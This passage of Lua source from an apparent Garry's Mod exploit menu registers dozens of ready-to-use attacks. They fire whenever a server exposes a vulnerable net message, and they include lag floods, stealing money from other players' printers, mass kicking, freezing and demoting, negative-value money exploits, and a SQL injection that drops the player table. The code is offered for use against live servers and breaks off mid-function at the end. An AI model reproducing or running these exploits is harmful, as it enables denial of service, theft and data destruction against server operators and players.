2931 net.Start("race_accept")
2932 net.WriteInt(tonumber(self:GetValue()), 32)
2933 net.SendToServer()
2934 end
2935 end)
2936 end
2937
2938 status = ValidNetString("NLR_SPAWN")
2939
2940 if (status) then
2941 ECPrint("Found Exploit: Respawn #3 [NLR_SPAWN]")
2942
2943 addExploit("79", "Respawn #3", "instant revival", function()
2944 surface.PlaySound("garrysmod/ui_click.wav")
2945 ECNotify("Starting")
2946 net.Start("NLR_SPAWN")
2947 net.WriteEntity(LocalPlayer())
2948 net.SendToServer()
2949 end)
2950 end
2951
2952 status = ValidNetString("Kun_ZiptieStruggle")
2953
2954 if (status) then
2955 ECPrint("Found Exploit: Break Handcuffs [Kun_ZiptieStruggle]")
2956
2957 addExploit("80", "Break Handcuffs", "Instantly breaks the handcuffs", function()
2958 surface.PlaySound("garrysmod/ui_click.wav")
2959 ECNotify("Starting")
2960
2961 for i = 0, 30 do
2962 net.Start("Kun_ZiptieStruggle")
2963 net.SendToServer()
2964 end
2965 end)
2966 end
2967
2968 status = ValidNetString("JB_Votekick")
2969
2970 if (status) then
2971 ECPrint("Found Exploit: Abuses Jailbreak Votekick [JB_Votekick]")
2972
2973 addExploit("81", "Abuses Jailbreak Votekick", "kick all players", function()
2974 surface.PlaySound("garrysmod/ui_click.wav")
2975 ECNotify("Starting")
2976
2977 for k, v in pairs(player.GetAll()) do
2978 net.Start("JB_Votekick")
2979 net.WriteEntity(v)
2980 net.WriteString("what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? ")
2981 net.SendToServer()
2982 end
2983 end)
2984 end
2985
2986 status = ValidNetString("Letthisdudeout")
2987
2988 if (status) then
2989 ECPrint("Found Exploit: ByB Force Bail [Letthisdudeout]")
2990
2991 addExploit("82", "ByB Force Bail", "exploit on all Byb servers to bail yourself out", function()
2992 surface.PlaySound("garrysmod/ui_click.wav")
2993 ECNotify("Starting")
2994 net.Start("Letthisdudeout")
2995 net.WriteEntity(LocalPlayer())
2996 net.SendToServer()
2997 end)
2998 end
2999
3000 status = ValidNetString("opr_withdraw")
3001
3002 if (status) then
3003 ECPrint("Found Exploit: Lagger #14 [opr_withdraw]")
3004
3005 addExploit("83", "Lagger #14", "discovered by Leith", function()
3006 surface.PlaySound("garrysmod/ui_click.wav")
3007 ECNotify("Starting")
3008
3009 timer.Create("lagger14", 0, 0, function()
3010 for i = 1, 1000 do
3011 net.Start("opr_withdraw", true)
3012 net.WriteEntity(LocalPlayer())
3013 net.SendToServer()
3014 end
3015 end)
3016 end)
3017 end
3018
3019 status = ValidNetString("NC_GetNameChange")
3020
3021 if (status) then
3022 ECPrint("Found Exploit: Change all names [NC_GetNameChange]")
3023
3024 addExploit("84", "Change all names", "allows you to change the rp names of all players", function()
3025 surface.PlaySound("garrysmod/ui_click.wav")
3026 inputFrameExists = true
3027 inputFrame = vgui.Create("DFrame")
3028 inputFrame:SetTitle("Enter the name")
3029 inputFrame:SetSize(400, 75)
3030 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
3031 inputFrame:SetDraggable(false)
3032 inputFrame:ShowCloseButton(true)
3033 inputFrame:MakePopup()
3034
3035 inputFrame.Paint = function(self, w, h)
3036 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
3037 end
3038
3039 local TextEntry = vgui.Create("DTextEntry", inputFrame)
3040 TextEntry:SetSize(380, 30)
3041 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
3042 TextEntry:SetText("AHAHAHAHAH")
3043
3044 TextEntry.OnEnter = function(self)
3045 surface.PlaySound("garrysmod/ui_click.wav")
3046 ECNotify("Starting")
3047
3048 for k, v in pairs(player.GetAll()) do
3049 net.Start("NC_GetNameChange")
3050 net.WriteEntity(v)
3051 net.WriteString((self:GetValue()))
3052 net.WriteString((self:GetValue()))
3053 net.SendToServer()
3054 end
3055 end
3056 end)
3057 end
3058
3059 status = ValidNetString("revival_revive_accept")
3060
3061 if (status) then
3062 ECPrint("Found Exploit: Reanimation #2 [revival_revive_accept]")
3063
3064 addExploit("85", "Reanimation #2", "instant revival, discovered by Leith", function()
3065 surface.PlaySound("garrysmod/ui_click.wav")
3066
3067 if not timer.Exists("exploit_revive") then
3068 ECNotify("Enabled")
3069
3070 timer.Create("exploit_revive", 0.5, 0, function()
3071 if not LocalPlayer():Alive() then
3072 net.Start("revival_revive_accept")
3073 net.SendToServer()
3074 end
3075 end)
3076 else
3077 timer.Remove("exploit_revive")
3078 ECNotify("Disabled")
3079 end
3080 end)
3081 end
3082
3083 status = ValidNetString("join_disconnect")
3084
3085 if (status) then
3086 ECPrint("Found Exploit: Lagger #15 [join_disconnect]")
3087
3088 addExploit("86", "Lagger #15", "b1g lags my duder", function()
3089 surface.PlaySound("garrysmod/ui_click.wav")
3090 ECNotify("Starting")
3091
3092 if not timer.Exists("lagger15") then
3093 timer.Create("lagger15", 0.5, 0, function()
3094 for i = 1, 3000 do
3095 net.Start("join_disconnect", true)
3096 net.WriteEntity(table.Random(player.GetAll()))
3097 net.SendToServer()
3098 end
3099 end)
3100 else
3101 timer.Remove("lagger15")
3102 ECNotify("Stopping")
3103 end
3104 end)
3105 end
3106
3107 status = ValidNetString("BuyFirstTovar")
3108
3109 if (status) then
3110 ECPrint("Found Exploit: Free Physgun [BuyFirstTovar]")
3111
3112 addExploit("87", "Free Physgun", "get physgun", function()
3113 surface.PlaySound("garrysmod/ui_click.wav")
3114 ECNotify("Take physgun")
3115 net.Start("BuyFirstTovar")
3116 net.WriteString("0")
3117 net.SendToServer()
3118 end)
3119 end
3120
3121 status = ValidNetString("BuySecondTovar")
3122
3123 if (status) then
3124 ECPrint("Found Exploit: Free Gravitygun [BuySecondTovar]")
3125
3126 addExploit("88", "Free Gravitygun", "get gravitygun", function()
3127 surface.PlaySound("garrysmod/ui_click.wav")
3128 ECNotify("Take gravitygun")
3129 net.Start("BuySecondTovar")
3130 net.WriteString("0")
3131 net.SendToServer()
3132 end)
3133 end
3134
3135 status = ValidNetString("MONEY_SYSTEM_GetWeapons")
3136
3137 if (status) then
3138 ECPrint("Found Exploit: Give Weapons #2 [MONEY_SYSTEM_GetWeapons]")
3139
3140 addExploit("89", "Give Weapons #2", "get weapons", function()
3141 surface.PlaySound("garrysmod/ui_click.wav")
3142 ECNotify("Starting")
3143
3144 for i = 1, 32 do
3145 net.Start("MONEY_SYSTEM_GetWeapons")
3146 net.WriteInt(i, 8)
3147 net.SendToServer()
3148 end
3149 end)
3150 end
3151
3152 status = ValidNetString("MCon_Demote_ToServer")
3153
3154 if (status) then
3155 ECPrint("Found Exploit: Demote All Players #2 [MCon_Demote_ToServer]")
3156
3157 addExploit("90", "Demote All Players #2", "demote all players", function()
3158 surface.PlaySound("garrysmod/ui_click.wav")
3159 ECNotify("Starting")
3160
3161 for k, v in pairs(player.GetAll()) do
3162 net.Start("MCon_Demote_ToServer")
3163 net.WriteString(v:SteamID())
3164 net.SendToServer()
3165 end
3166 end)
3167 end
3168
3169 status = ValidNetString("withdrawMoney")
3170
3171 if (status) then
3172 ECPrint("Found Exploit: Steal All Monies #3 [withdrawMoney]")
3173
3174 addExploit("91", "Steal All Monies #3", "withdraw money from all printers, discovered by Leith", function()
3175 surface.PlaySound("garrysmod/ui_click.wav")
3176 ECNotify("Starting")
3177
3178 for k, v in pairs(ents.GetAll()) do
3179 net.Start("withdrawMoney")
3180 net.WriteEntity(v)
3181 net.SendToServer()
3182 end
3183 end)
3184 end
3185
3186 status = ValidNetString("withdrawMoney")
3187
3188 if (status) then
3189 ECPrint("Found Exploit: Lagger #16 [withdrawMoney]")
3190
3191 addExploit("92", "Lagger #16", "discovered by Leith", function()
3192 surface.PlaySound("garrysmod/ui_click.wav")
3193 ECNotify("Starting")
3194
3195 timer.Create("lagger16", 0, 0, function()
3196 for i = 1, 1000 do
3197 net.Start("withdrawMoney", true)
3198 net.WriteEntity(LocalPlayer())
3199 net.SendToServer()
3200 end
3201 end)
3202 end)
3203 end
3204
3205 status = ValidNetString("SyncPrinterButtons76561198027292625")
3206
3207 if (status) then
3208 ECPrint("Found Exploit: Steal All Monies #4 [SyncPrinterButtons76561198027292625]")
3209
3210 addExploit("93", "Steal All Monies #4", "withdraw money from all printers", function()
3211 surface.PlaySound("garrysmod/ui_click.wav")
3212 ECNotify("Starting")
3213
3214 for k, v in pairs(ents.GetAll()) do
3215 net.Start("SyncPrinterButtons76561198027292625")
3216 net.WriteEntity(v)
3217 net.WriteUInt(2, 4)
3218 net.SendToServer()
3219 end
3220 end)
3221 end
3222
3223 status = ValidNetString("gPrinters.retrieveMoney")
3224
3225 if (status) then
3226 ECPrint("Found Exploit: Steal All Monies #5 [gPrinters.retrieveMoney]")
3227
3228 addExploit("94", "Steal All Monies #5", "withdraw money from all printers, discovered by Leith", function()
3229 surface.PlaySound("garrysmod/ui_click.wav")
3230 ECNotify("Starting")
3231
3232 for k, v in pairs(ents.GetAll()) do
3233 net.Start("gPrinters.retrieveMoney")
3234 net.WriteEntity(v)
3235 net.SendToServer()
3236 end
3237 end)
3238 end
3239
3240 status = ValidNetString("gPrinters.retrieveMoney")
3241
3242 if (status) then
3243 ECPrint("Found Exploit: Lagger #17 [gPrinters.retrieveMoney]")
3244
3245 addExploit("95", "Lagger #17", "discovered by Leith", function()
3246 surface.PlaySound("garrysmod/ui_click.wav")
3247 ECNotify("Starting")
3248
3249 timer.Create("lagger17", 0, 0, function()
3250 for i = 1, 1000 do
3251 net.Start("gPrinters.retrieveMoney", true)
3252 net.WriteEntity(LocalPlayer())
3253 net.SendToServer()
3254 end
3255 end)
3256 end)
3257 end
3258
3259 status = ValidNetString("NGII_TakeMoney")
3260
3261 if (status) then
3262 ECPrint("Found Exploit: Steal All Monies #6 [NGII_TakeMoney]")
3263
3264 addExploit("96", "Steal All Monies #6", "withdraw money from all printers", function()
3265 surface.PlaySound("garrysmod/ui_click.wav")
3266 ECNotify("Starting")
3267
3268 for k, v in pairs(ents.GetAll()) do
3269 net.Start("NGII_TakeMoney")
3270 net.WriteEntity(v)
3271 net.WriteEntity(LocalPlayer())
3272 net.SendToServer()
3273 end
3274 end)
3275 end
3276
3277 status = ValidNetString("money_clicker_withdraw")
3278
3279 if (status) then
3280 ECPrint("Found Exploit: Lagger #18 [money_clicker_withdraw]")
3281
3282 addExploit("97", "Lagger #18", "discovered by Leith", function()
3283 surface.PlaySound("garrysmod/ui_click.wav")
3284 ECNotify("Starting")
3285
3286 timer.Create("lagger18", 0, 0, function()
3287 for i = 1, 1000 do
3288 net.Start("money_clicker_withdraw", true)
3289 net.WriteEntity(LocalPlayer())
3290 net.SendToServer()
3291 end
3292 end)
3293 end)
3294 end
3295
3296 status = ValidNetString("opr_withdraw")
3297
3298 if (status) then
3299 ECPrint("Found Exploit: Steal All Monies #7 [opr_withdraw]")
3300
3301 addExploit("98", "Steal All Monies #7", "withdraw money from all printers", function()
3302 surface.PlaySound("garrysmod/ui_click.wav")
3303 ECNotify("Starting")
3304
3305 for k, v in pairs(ents.GetAll()) do
3306 net.Start("opr_withdraw")
3307 net.WriteEntity(v)
3308 net.SendToServer()
3309 end
3310 end)
3311 end
3312
3313 status = ValidNetString("NET_DoPrinterAction")
3314
3315 if (status) then
3316 ECPrint("Found Exploit: Steal All Monies #8 [NET_DoPrinterAction]")
3317
3318 addExploit("99", "Steal All Monies #8", "withdraw money from all printers", function()
3319 surface.PlaySound("garrysmod/ui_click.wav")
3320 ECNotify("Starting")
3321
3322 for k, v in pairs(ents.GetAll()) do
3323 if v:GetClass():find("print") then
3324 net.Start("NET_DoPrinterAction")
3325 net.WriteEntity(LocalPlayer())
3326 net.WriteEntity(v)
3327 net.WriteInt(2, 16)
3328 net.SendToServer()
3329 end
3330 end
3331 end)
3332 end
3333
3334 status = ValidNetString("tickbooksendfine")
3335
3336 if (status) then
3337 ECPrint("Found Exploit: Ticket Book [tickbooksendfine]")
3338
3339 addExploit("100", "Ticket Book", "allows you to write a fine to all players, discovered by Leith", function()
3340 surface.PlaySound("garrysmod/ui_click.wav")
3341 ECNotify("Starting")
3342 local reasonstable = {"NICE EXPLOIT, RIGHT? discord.gg/2cG6Mcp"}
3343
3344 for k, v in pairs(player.GetAll()) do
3345 if v ~= LocalPlayer() then
3346 net.Start("tickbooksendfine")
3347 net.WriteString(v:SteamID())
3348 net.WriteTable(reasonstable)
3349 net.WriteDouble(3000, 32)
3350 net.SendToServer()
3351 end
3352 end
3353 end)
3354 end
3355
3356 status = ValidNetString("SyncPrinterButtons16690")
3357
3358 if (status) then
3359 ECPrint("Found Exploit: Steal All Monies #9 [SyncPrinterButtons16690]")
3360
3361 addExploit("101", "Steal All Monies #9", "withdraw money from all printers", function()
3362 surface.PlaySound("garrysmod/ui_click.wav")
3363 ECNotify("Starting")
3364
3365 for k, v in pairs(ents.GetAll()) do
3366 if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
3367 net.Start("SyncPrinterButtons16690")
3368 net.WriteEntity(v)
3369 net.WriteUInt(2, 4)
3370 net.SendToServer()
3371 end
3372 end
3373 end)
3374 end
3375
3376 status = ValidNetString("withdrawp")
3377
3378 if (status) then
3379 ECPrint("Found Exploit: Steal All Monies #10 [withdrawp]")
3380
3381 addExploit("102", "Steal All Monies #10", "withdraw money from all printers", function()
3382 surface.PlaySound("garrysmod/ui_click.wav")
3383 ECNotify("Starting")
3384
3385 for k, v in pairs(ents.FindByClass("derma_printer")) do
3386 net.Start("withdrawp")
3387 net.WriteEntity(v)
3388 net.SendToServer()
3389 end
3390 end)
3391 end
3392
3393 status = ValidNetString("withdrawp")
3394
3395 if (status) then
3396 ECPrint("Found Exploit: Lagger #19 [withdrawp]")
3397
3398 addExploit("103", "Lagger #19", "discovered by Leith", function()
3399 surface.PlaySound("garrysmod/ui_click.wav")
3400 ECNotify("Starting")
3401
3402 timer.Create("lagger19", 0, 0, function()
3403 for i = 1, 1000 do
3404 net.Start("withdrawp", true)
3405 net.WriteEntity(LocalPlayer())
3406 net.SendToServer()
3407 end
3408 end)
3409 end)
3410 end
3411
3412 status = ValidNetString("DarkRP_SS_Gamble")
3413
3414 if (status) then
3415 ECPrint("Found Exploit: Free Money #3 [DarkRP_SS_Gamble]")
3416
3417 addExploit("104", "Free Money #3", "an exploit in the addon 'DarkRP Casino'", function()
3418 surface.PlaySound("garrysmod/ui_click.wav")
3419 ECNotify("Starting")
3420 net.Start("DarkRP_SS_Gamble")
3421 net.WriteInt(99999, 32)
3422 net.WriteInt(1, 32)
3423 net.WriteInt(0, 32)
3424 net.WriteInt(0, 32)
3425 net.WriteInt(1, 32)
3426 net.SendToServer()
3427 end)
3428 end
3429
3430 status = ValidNetString("PCAdd")
3431
3432 if (status) then
3433 ECPrint("Found Exploit: Delete Promocode [PCAdd]")
3434
3435 addExploit("105", "Delete Promocode", "delete all promocodes", function()
3436 surface.PlaySound("garrysmod/ui_click.wav")
3437 ECNotify("Starting")
3438 net.Start("PCAdd")
3439 net.WriteString("alahman")
3440 net.WriteString("300000000")
3441 net.SendToServer()
3442
3443 timer.Simple(3, function()
3444 net.Start("ActivatePC")
3445 net.WriteString("alahman")
3446 net.SendToServer()
3447 net.Start("PCDelAll")
3448 net.SendToServer()
3449 end)
3450 end)
3451 end
3452
3453 status = ValidNetString("viv_hl2rp_disp_message")
3454
3455 if (status) then
3456 ECPrint("Found Exploit: HL2 Disp Message [viv_hl2rp_disp_message]")
3457
3458 addExploit("106", "HL2 Disp Message", "hl2 voice commands", function()
3459 surface.PlaySound("garrysmod/ui_click.wav")
3460 ECNotify("Starting")
3461
3462 for name, command in pairs(dispatchCommands) do
3463 net.Start("viv_hl2rp_disp_message")
3464 net.WriteString(command)
3465 net.SendToServer()
3466 end
3467 end)
3468 end
3469
3470 status = ValidNetString("Kun_SellDrug")
3471
3472 if (status) then
3473 ECPrint("Found Exploit: Free Money #4 [Kun_SellDrug]")
3474
3475 addExploit("107", "Free Money #4", "get monies", function()
3476 surface.PlaySound("garrysmod/ui_click.wav")
3477
3478 if not timer.Exists("freemoney4") then
3479 ECNotify("Starting")
3480
3481 timer.Create("freemoney4", 0, 0, function()
3482 for i = 1, 1000 do
3483 net.Start("Kun_SellDrug")
3484 net.WriteString("mushroom")
3485 net.SendToServer()
3486 end
3487 end)
3488 else
3489 timer.Remove("freemoney4")
3490 ECNotify("Stopping")
3491 end
3492 end)
3493 end
3494
3495 status = ValidNetString("net_PSUnBoxServer")
3496
3497 if (status) then
3498 ECPrint("Found Exploit: Point Shop Unbox [net_PSUnBoxServer]")
3499
3500 addExploit("108", "Point Shop Unbox", "an exploit in the addon 'Point Shop", function()
3501 surface.PlaySound("garrysmod/ui_click.wav")
3502 ECNotify("Starting")
3503
3504 for k, v in pairs(player.GetAll()) do
3505 local i = 0
3506
3507 for k2, v2 in pairs(PS.Items) do
3508 if not v:PS_HasItem(v2.ID) then
3509 timer.Simple(k * i * 1.7, function()
3510 net.Start("net_PSUnBoxServer")
3511 net.WriteEntity(v)
3512 net.WriteString(v2.ID)
3513 net.SendToServer()
3514 end)
3515
3516 i = i + 1
3517 end
3518 end
3519 end
3520 end)
3521 end
3522
3523 status = ValidNetString("pplay_sendtable")
3524
3525 if (status) then
3526 ECPrint("Found Exploit: ??? Fuck the SQL database ??? [pplay_sendtable]")
3527
3528 addExploit("109", "??? Fuck the SQL database ???", "fuck all", function()
3529 surface.PlaySound("garrysmod/ui_click.wav")
3530 ECNotify("Starting")
3531 local tbl = {}
3532 tbl.tblname = "darkrp_door; DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)"
3533 tbl.ply = LocalPlayer()
3534 net.Start("pplay_sendtable")
3535 net.WriteTable(tbl)
3536 net.SendToServer()
3537 end)
3538 end
3539
3540 status = ValidNetString("75_plus_win")
3541
3542 if (status) then
3543 ECPrint("Found Exploit: Free Money #5 [75_plus_win]")
3544
3545 addExploit("110", "Free Money #5", "get money", function()
3546 surface.PlaySound("garrysmod/ui_click.wav")
3547 ECNotify("Starting")
3548 net.Start("75_plus_win")
3549 net.WriteString("99999999")
3550 net.WriteEntity(LocalPlayer())
3551 net.SendToServer()
3552 end)
3553 end
3554
3555 status = ValidNetString("ATMDepositMoney")
3556
3557 if (status) then
3558 ECPrint("Found Exploit: Free Money #6 [ATMDepositMoney]")
3559
3560 addExploit("111", "Free Money #6", "an exploit in 'ATM'", function()
3561 surface.PlaySound("garrysmod/ui_click.wav")
3562 ECNotify("Starting")
3563 net.Start("ATMDepositMoney")
3564 net.WriteFloat(-9999999)
3565 net.SendToServer()
3566 end)
3567 end
3568
3569 status = ValidNetString("SellMinerals")
3570
3571 if (status) then
3572 ECPrint("Found Exploit: Free Money #7 [SellMinerals]")
3573
3574 addExploit("112", "Free Money #7", "an exploit in 'eMining'", function()
3575 surface.PlaySound("garrysmod/ui_click.wav")
3576 ECNotify("Starting")
3577
3578 for k, v in pairs(SkillDB) do
3579 if not (v.iSkill == true) then
3580 net.Start("Upgrade")
3581
3582 net.WriteTable({
3583 LuaName = v.LuaName,
3584 Amount = -9999999
3585 })
3586
3587 net.SendToServer()
3588 net.Start("SellMinerals")
3589
3590 net.WriteTable({
3591 Target = LocalPlayer()
3592 })
3593
3594 net.SendToServer()
3595 end
3596 end
3597 end)
3598 end
3599
3600 status = ValidNetString("TakeBetMoney")
3601
3602 if (status) then
3603 ECPrint("Found Exploit: Free Money #8 [TakeBetMoney]")
3604
3605 addExploit("113", "Free Money #8", "get money", function()
3606 surface.PlaySound("garrysmod/ui_click.wav")
3607 ECNotify("Starting")
3608 net.Start("TakeBetMoney")
3609 net.WriteTable({1e333333, 1e333333})
3610 net.SendToServer()
3611 end)
3612 end
3613
3614 status = ValidNetString("Kun_SellOil")
3615
3616 if (status) then
3617 ECPrint("Found Exploit: Free Money #9 [Kun_SellOil]")
3618
3619 addExploit("114", "Free Money #9", "get money", function()
3620 surface.PlaySound("garrysmod/ui_click.wav")
3621 ECNotify("Starting")
3622
3623 for k, v in pairs(ents.GetAll()) do
3624 net.Start("Kun_SellOil")
3625 net.WriteEntity(v)
3626 net.SendToServer()
3627 end
3628 end)
3629 end
3630
3631
3632 status = ValidNetString("DepositMoney")
3633
3634 if (status) then
3635 ECPrint("Found Exploit: Free Money #10 [DepositMoney]")
3636
3637 addExploit("115", "Free Money #10", "get money", function()
3638 surface.PlaySound("garrysmod/ui_click.wav")
3639 ECNotify("Starting")
3640 net.Start("DepositMoney")
3641
3642 for k, v in pairs(ents.GetAll()) do
3643 net.WriteEntity(v)
3644 net.WriteString(-100000000)
3645 net.WriteEntity(LocalPlayer())
3646 net.SendToServer()
3647 end
3648 end)
3649 end
3650
3651 status = ValidNetString("NET_SS_DoBuyTakeoff")
3652
3653 if (status) then
3654 ECPrint("Found Exploit: Free Money #11 [NET_SS_DoBuyTakeoff]")
3655
3656 addExploit("116", "Free Money #11", "get money", function()
3657 surface.PlaySound("garrysmod/ui_click.wav")
3658 ECNotify("Starting")
3659 net.Start("NET_SS_DoBuyTakeoff", true)
3660 net.WriteEntity(LocalPlayer())
3661 net.WriteEntity(table.Random(player.GetAll()))
3662 net.WriteTable({})
3663 net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16)
3664 net.SendToServer()
3665 end)
3666 end
3667
3668 status = ValidNetString("NET_EcSetTax")
3669
3670 if (status) then
3671 ECPrint("Found Exploit: Free Money #12 [NET_EcSetTax]")
3672
3673 addExploit("117", "Free Money #12", "get money", function()
3674 surface.PlaySound("garrysmod/ui_click.wav")
3675 ECNotify("Starting")
3676 net.Start("NET_EcSetTax")
3677 net.WriteInt(-9999999999, 16)
3678 net.SendToServer()
3679 end)
3680 end
3681
3682 status = ValidNetString("RP_Accept_Fine")
3683
3684 if (status) then
3685 ECPrint("Found Exploit: Free Money #13 [RP_Accept_Fine]")
3686
3687 addExploit("118", "Free Money #13", "get money", function()
3688 surface.PlaySound("garrysmod/ui_click.wav")
3689 ECNotify("Starting")
3690
3691 for k, v in pairs(player.GetAll()) do
3692 net.Start("RP_Accept_Fine")
3693 net.WriteString(v:Nick())
3694 net.WriteDouble(-999999999999)
3695 net.SendToServer()
3696 end
3697 end)
3698 end
3699
3700 status = ValidNetString("drugseffect_remove")
3701
3702 if (status) then
3703 ECPrint("Found Exploit: Remove Weapons [drugseffect_remove]")
3704
3705 addExploit("119", "Remove Weapons", "remove all weapons", function()
3706 surface.PlaySound("garrysmod/ui_click.wav")
3707 ECNotify("Starting")
3708 net.Start("drugseffect_remove")
3709 net.SendToServer()
3710 end)
3711 end
3712
3713 status = ValidNetString("drugs_money")
3714
3715 if (status) then
3716 ECPrint("Found Exploit: Remove Money [drugs_money]")
3717
3718 addExploit("120", "Remove Money", "remove all money", function()
3719 surface.PlaySound("garrysmod/ui_click.wav")
3720 ECNotify("Starting")
3721 net.Start("drugs_money")
3722 net.SendToServer()
3723 end)
3724 end
3725
3726 status = ValidNetString("CRAFTINGMOD_SHOP")
3727
3728 if (status) then
3729 ECPrint("Found Exploit: Free Money #14 [CRAFTINGMOD_SHOP]")
3730
3731 addExploit("121", "Free Money #14", "an exploit in 'crafting mod'", function()
3732 surface.PlaySound("garrysmod/ui_click.wav")
3733 ECNotify("Starting")
3734 net.Start("CRAFTINGMOD_SHOP")
3735
3736 net.WriteTable({
3737 BUY = -9999999,
3738 type = 1
3739 })
3740
3741 net.WriteInt(1, 16)
3742 net.SendToServer()
3743 end)
3744 end
3745
3746 status = ValidNetString("drugs_ignite")
3747
3748 if (status) then
3749 ECPrint("Found Exploit: Fire Players [drugs_ignite]")
3750
3751 addExploit("122", "Fire Players", "", function()
3752 surface.PlaySound("garrysmod/ui_click.wav")
3753 ECNotify("Starting")
3754 net.Start("drugs_ignite")
3755 net.WriteString("player")
3756 net.SendToServer()
3757 end)
3758 end
3759
3760 status = ValidNetString("drugs_ignite")
3761
3762 if (status) then
3763 ECPrint("Found Exploit: Fire Props [drugs_ignite]")
3764
3765 addExploit("123", "Fire Props", "", function()
3766 surface.PlaySound("garrysmod/ui_click.wav")
3767 ECNotify("Starting")
3768 net.Start("drugs_ignite")
3769 net.WriteString("prop_physics")
3770 net.SendToServer()
3771 end)
3772 end
3773
3774 status = ValidNetString("drugseffect_hpremove")
3775
3776 if (status) then
3777 ECPrint("Found Exploit: Change HP [drugseffect_hpremove]")
3778
3779 addExploit("124", "Change HP", "", function()
3780 surface.PlaySound("garrysmod/ui_click.wav")
3781 ECNotify("Starting")
3782 net.Start("drugseffect_hpremove")
3783 net.WriteString(99999)
3784 net.SendToServer()
3785 end)
3786 end
3787
3788 status = ValidNetString("drugs_text")
3789
3790 if (status) then
3791 ECPrint("Found Exploit: Delete All Props #2 [drugs_text]")
3792
3793 addExploit("125", "Delete All Props #2", "", function()
3794 surface.PlaySound("garrysmod/ui_click.wav")
3795 ECNotify("Starting")
3796 net.Start("drugs_text")
3797 net.WriteString("prop_physics")
3798 net.SendToServer()
3799 end)
3800 end
3801
3802 status = ValidNetString("drugs_give")
3803
3804 if (status) then
3805 ECPrint("Found Exploit: Give Everyone RPG [drugs_give]")
3806
3807 addExploit("126", "Give Everyone RPG", "", function()
3808 surface.PlaySound("garrysmod/ui_click.wav")
3809 ECNotify("Starting")
3810 net.Start("drugs_give")
3811 net.WriteString("weapon_rpg")
3812 net.SendToServer()
3813 end)
3814 end
3815
3816 status = ValidNetString("drugs_text")
3817
3818 if (status) then
3819 ECPrint("Found Exploit: Remove Water [drugs_text]")
3820
3821 addExploit("127", "Remove Water", "", function()
3822 surface.PlaySound("garrysmod/ui_click.wav")
3823 ECNotify("Starting")
3824 net.Start("drugs_text")
3825 net.WriteString("func_water_analog")
3826 net.SendToServer()
3827 end)
3828 end
3829
3830 status = ValidNetString("drugs_effect")
3831
3832 if (status) then
3833 local eye = LocalPlayer():GetEyeTrace().Entity
3834 local send = "del|" .. eye:EntIndex()
3835 ECPrint("Found Exploit: Remove looking at [drugs_effect]")
3836
3837 addExploit("128", "Remove looking at", "", function()
3838 surface.PlaySound("garrysmod/ui_click.wav")
3839 ECNotify("Starting")
3840 net.Start("drugs_effect")
3841 net.WriteString(send)
3842 net.SendToServer()
3843 end)
3844 end
3845
3846 status = ValidNetString("RecKickAFKer")
3847
3848 if (status) then
3849 ECPrint("Found Exploit: Kick Everyone #2 [RecKickAFKer]")
3850
3851 addExploit("129", "Kick Everyone #2", "kick all players", function()
3852 surface.PlaySound("garrysmod/ui_click.wav")
3853 ECNotify("Starting")
3854
3855 for k, v in pairs(player.GetAll()) do
3856 net.Start("RecKickAFKer")
3857 net.WriteEntity(v)
3858 net.SendToServer()
3859 end
3860 end)
3861 end
3862
3863 status = ValidNetString("GMBG:PickupItem")
3864
3865 if (status) then
3866 ECPrint("Found Exploit: Loot Items [GMBG:PickupItem]")
3867
3868 addExploit("130", "Loot Items", "", function()
3869 surface.PlaySound("garrysmod/ui_click.wav")
3870 ECNotify("Starting")
3871
3872 for k, v in pairs(ents.GetAll()) do
3873 if v:GetClass() == "item_loot" then
3874 net.Start("GMBG:PickupItem")
3875 net.WriteEntity(v)
3876 net.SendToServer()
3877 net.Start("GMBG:PickupItem")
3878 net.WriteEntity(v)
3879 net.SendToServer()
3880 net.Start("GMBG:PickupItem")
3881 net.WriteEntity(v)
3882 net.SendToServer()
3883 net.Start("GMBG:PickupItem")
3884 net.WriteEntity(v)
3885 net.SendToServer()
3886 net.Start("GMBG:PickupItem")
3887 net.WriteEntity(v)
3888 net.SendToServer()
3889 net.Start("GMBG:PickupItem")
3890 net.WriteEntity(v)
3891 net.SendToServer()
3892 end
3893 end
3894 end)
3895 end
3896
3897 status = ValidNetString("plyWarning")
3898
3899 if (status) then
3900 ECPrint("Found Exploit: Kick Everyone #3 [plyWarning]")
3901
3902 addExploit("131", "Kick Everyone #3", "kick all players", function()
3903 surface.PlaySound("garrysmod/ui_click.wav")
3904 ECNotify("Starting")
3905
3906 for k, v in pairs(player.GetAll()) do
3907 net.Start('plyWarning')
3908 net.WriteEntity(v)
3909 net.WriteString('You have to select a player before doing a action.')
3910 net.SendToServer()
3911 end
3912 end)
3913 end
3914
3915 status = ValidNetString("NLR.ActionPlayer")
3916
3917 if (status) then
3918 ECPrint("Found Exploit: Freeze Everyone [NLR.ActionPlayer]")
3919
3920 addExploit("132", "Freeze Everyone", "", function()
3921 surface.PlaySound("garrysmod/ui_click.wav")
3922 ECNotify("Starting")
3923
3924 for k, v in pairs(player.GetAll()) do
3925 net.Start("NLR.ActionPlayer")
3926 net.WriteEntity(v)
3927 net.SendToServer()
3928 end
3929 end)
3930 end
3931
3932 status = ValidNetString("kart_sell")
3933
3934 if (status) then
3935 ECPrint("Found Exploit: Free Money #15 [kart_sell]")
3936
3937 addExploit("133", "Free Money #15", "get money", function()
3938 surface.PlaySound("garrysmod/ui_click.wav")
3939 ECNotify("Starting")
3940
3941 for i = 1, 300 do
3942 net.Start("kart_sell")
3943 net.WriteString("sw_gokart")
3944 net.SendToServer()
3945 end
3946 end)
3947 end
3948
3949 status = ValidNetString("ClickerAddToPoints")
3950
3951 if (status) then
3952 ECPrint("Found Exploit: Free Points [ClickerAddToPoints]")
3953
3954 addExploit("134", "Free Points", "", function()
3955 surface.PlaySound("garrysmod/ui_click.wav")
3956 ECNotify("Starting")
3957 net.Start("ClickerAddToPoints")
3958 net.WriteInt(99999999, 32)
3959 net.SendToServer()
3960 end)
3961 end
3962
3963 status = ValidNetString("bodyman_model_change")
3964
3965 if (status) then
3966 ECPrint("Found Exploit: Body Groups [bodyman_model_change]")
3967
3968 addExploit("135", "Body Groups", "constantly changes your appearance", function()
